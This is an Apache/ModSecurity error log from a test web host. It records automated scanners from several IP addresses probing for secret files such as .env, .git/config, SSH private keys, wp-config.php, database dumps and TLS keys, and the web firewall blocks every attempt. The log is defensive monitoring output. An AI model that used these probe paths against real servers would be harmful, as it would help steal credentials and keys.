[Wed May 15 00:01:02.154412 2024] [:error] [pid 3218284] [client 103.102.228.23:55098] [client 103.102.228.23] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZkPfHnuYO945EzRsKsRvqQAAAAg&quot;]
[Wed May 15 00:01:02.154971 2024] [:error] [pid 3218284] [client 103.102.228.23:55098] [client 103.102.228.23] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZkPfHnuYO945EzRsKsRvqQAAAAg&quot;]
[Sat May 25 03:33:21.817990 2024] [:error] [pid 3458602] [client 103.102.228.130:35676] [client 103.102.228.130] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZlE_4TDHhqfKAmVqfIXzVgAAAAE&quot;]
[Sat May 25 03:33:21.819150 2024] [:error] [pid 3458602] [client 103.102.228.130:35676] [client 103.102.228.130] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZlE_4TDHhqfKAmVqfIXzVgAAAAE&quot;]
[Sat May 25 03:33:21.819393 2024] [:error] [pid 3458602] [client 103.102.228.130:35676] [client 103.102.228.130] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZlE_4TDHhqfKAmVqfIXzVgAAAAE&quot;]
[Tue Jul 02 21:54:46.057026 2024] [authz_core:error] [pid 170491] [client 159.65.18.197:48644] AH01630: client denied by server configuration: /var/www/pms.test.indaco.store/www/server-status
[Tue Jul 02 21:54:46.370375 2024] [:error] [pid 170490] [client 159.65.18.197:48670] [client 159.65.18.197] ModSecurity: Warning. Matched phrase &quot;/.DS_Store&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;ZoRbBlTIyEB0oEBuE2818AAAAAY&quot;]
[Tue Jul 02 21:54:46.370864 2024] [:error] [pid 170490] [client 159.65.18.197:48670] [client 159.65.18.197] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;ZoRbBlTIyEB0oEBuE2818AAAAAY&quot;]
[Tue Jul 02 21:54:46.371420 2024] [:error] [pid 170490] [client 159.65.18.197:48670] [client 159.65.18.197] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;ZoRbBlTIyEB0oEBuE2818AAAAAY&quot;]
[Tue Jul 02 21:54:46.465309 2024] [:error] [pid 170459] [client 159.65.18.197:48686] [client 159.65.18.197] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZoRbBhqlpC79bOle2sBr5AAAAAA&quot;]
[Tue Jul 02 21:54:46.465786 2024] [:error] [pid 170459] [client 159.65.18.197:48686] [client 159.65.18.197] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZoRbBhqlpC79bOle2sBr5AAAAAA&quot;]
[Tue Jul 02 21:54:46.466206 2024] [:error] [pid 170459] [client 159.65.18.197:48686] [client 159.65.18.197] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZoRbBhqlpC79bOle2sBr5AAAAAA&quot;]
[Tue Jul 02 21:54:46.561524 2024] [:error] [pid 170460] [client 159.65.18.197:48688] [client 159.65.18.197] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZoRbBkeeygXELbKesgqUGAAAAAE&quot;]
[Tue Jul 02 21:54:46.562028 2024] [:error] [pid 170460] [client 159.65.18.197:48688] [client 159.65.18.197] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZoRbBkeeygXELbKesgqUGAAAAAE&quot;]
[Tue Jul 02 21:54:46.562456 2024] [:error] [pid 170460] [client 159.65.18.197:48688] [client 159.65.18.197] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZoRbBkeeygXELbKesgqUGAAAAAE&quot;]
[Tue Jul 02 23:21:58.440447 2024] [:error] [pid 170494] [client 185.196.9.227:51018] [client 185.196.9.227] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZoRvdtH295kWQvQN2AmhGgAAAAk&quot;]
[Tue Jul 02 23:21:58.440891 2024] [:error] [pid 170494] [client 185.196.9.227:51018] [client 185.196.9.227] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZoRvdtH295kWQvQN2AmhGgAAAAk&quot;]
[Tue Jul 02 23:21:58.441132 2024] [:error] [pid 170494] [client 185.196.9.227:51018] [client 185.196.9.227] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZoRvdtH295kWQvQN2AmhGgAAAAk&quot;]
[Wed Jul 03 00:59:08.194582 2024] [:error] [pid 172790] [client 213.232.87.228:63039] [client 213.232.87.228] ModSecurity: Warning. Matched phrase &quot;.ssh/id_rsa&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .ssh/id_rsa found within REQUEST_FILENAME: /.ssh/id_rsa&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/id_rsa&quot;] [unique_id &quot;ZoSGPP4gsg4mWPNAylogLQAAAAE&quot;]
[Wed Jul 03 00:59:08.195073 2024] [:error] [pid 172790] [client 213.232.87.228:63039] [client 213.232.87.228] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/id_rsa&quot;] [unique_id &quot;ZoSGPP4gsg4mWPNAylogLQAAAAE&quot;]
[Wed Jul 03 00:59:08.195546 2024] [:error] [pid 172790] [client 213.232.87.228:63039] [client 213.232.87.228] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/id_rsa&quot;] [unique_id &quot;ZoSGPP4gsg4mWPNAylogLQAAAAE&quot;]
[Wed Jul 03 00:59:08.201902 2024] [:error] [pid 172793] [client 213.232.87.228:49487] [client 213.232.87.228] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.sql&quot;] [unique_id &quot;ZoSGPANSb97irXcEY4yRrQAAAAU&quot;]
[Wed Jul 03 00:59:08.202567 2024] [:error] [pid 172793] [client 213.232.87.228:49487] [client 213.232.87.228] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.sql&quot;] [unique_id &quot;ZoSGPANSb97irXcEY4yRrQAAAAU&quot;]
[Wed Jul 03 00:59:08.202955 2024] [:error] [pid 172793] [client 213.232.87.228:49487] [client 213.232.87.228] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.sql&quot;] [unique_id &quot;ZoSGPANSb97irXcEY4yRrQAAAAU&quot;]
[Wed Jul 03 00:59:08.204382 2024] [authz_core:error] [pid 172361] [client 213.232.87.228:36767] AH01630: client denied by server configuration: /var/www/pms.test.indaco.store/www/server-status
[Wed Jul 03 00:59:08.205828 2024] [:error] [pid 172172] [client 213.232.87.228:7571] [client 213.232.87.228] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;ZoSGPLnQ6Hj3gbsgZfXYbgAAAAY&quot;]
[Wed Jul 03 00:59:08.206095 2024] [:error] [pid 172172] [client 213.232.87.228:7571] [client 213.232.87.228] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;ZoSGPLnQ6Hj3gbsgZfXYbgAAAAY&quot;]
[Wed Jul 03 00:59:08.206309 2024] [:error] [pid 172172] [client 213.232.87.228:7571] [client 213.232.87.228] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;ZoSGPLnQ6Hj3gbsgZfXYbgAAAAY&quot;]
[Wed Jul 03 00:59:08.207047 2024] [:error] [pid 172171] [client 213.232.87.228:9097] [client 213.232.87.228] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;ZoSGPASUx8iTEun0GQdRAAAAAAQ&quot;]
[Wed Jul 03 00:59:08.207210 2024] [:error] [pid 172171] [client 213.232.87.228:9097] [client 213.232.87.228] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;ZoSGPASUx8iTEun0GQdRAAAAAAQ&quot;]
[Wed Jul 03 00:59:08.207363 2024] [:error] [pid 172171] [client 213.232.87.228:9097] [client 213.232.87.228] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;ZoSGPASUx8iTEun0GQdRAAAAAAQ&quot;]
[Wed Jul 03 00:59:08.293466 2024] [:error] [pid 172361] [client 213.232.87.228:18213] [client 213.232.87.228] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.key&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/ssl/private/server.key&quot;] [unique_id &quot;ZoSGPH7MfiZ70MyUsR6yFQAAAAA&quot;]
[Wed Jul 03 00:59:08.294292 2024] [:error] [pid 172361] [client 213.232.87.228:18213] [client 213.232.87.228] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/ssl/private/server.key&quot;] [unique_id &quot;ZoSGPH7MfiZ70MyUsR6yFQAAAAA&quot;]
[Wed Jul 03 00:59:08.294786 2024] [:error] [pid 172361] [client 213.232.87.228:18213] [client 213.232.87.228] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/ssl/private/server.key&quot;] [unique_id &quot;ZoSGPH7MfiZ70MyUsR6yFQAAAAA&quot;]
